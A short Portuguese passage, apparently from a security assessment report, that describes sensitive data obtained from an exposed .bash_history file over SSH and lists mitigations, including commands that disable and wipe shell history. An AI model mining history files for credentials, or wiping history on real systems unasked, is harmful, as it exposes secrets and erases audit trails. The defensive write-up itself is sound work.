techcorp@024a36a8e6ca:~$ █
```

Obtida via exposição do arquivo .bash_history dentro do SSH

O arquivo .bash_history frequentemente contém parâmetros sensíveis, como credenciais, tokens ou caminhos internos. Sua exposição compromete a confidencialidade e pode permitir escalonamento de privilégios, bem como acesso a informações operacionais críticas.

🛠 MITIGAÇÃO

- ✓ Desabilitar histórico para usuários sensíveis:
unset HISTFILE
export HISTSIZE=0
- ✓ Limpar histórico existente:
cat /dev/null > ~/.bash_history
- ✓ Não rodar comandos com credenciais na linha de comando
- ✓ Usar gerenciadores de credenciais (Keyring)
- ✓ Aplicar permissões corretas em home directories
- ✓ Revisar todos os usuários do sistema

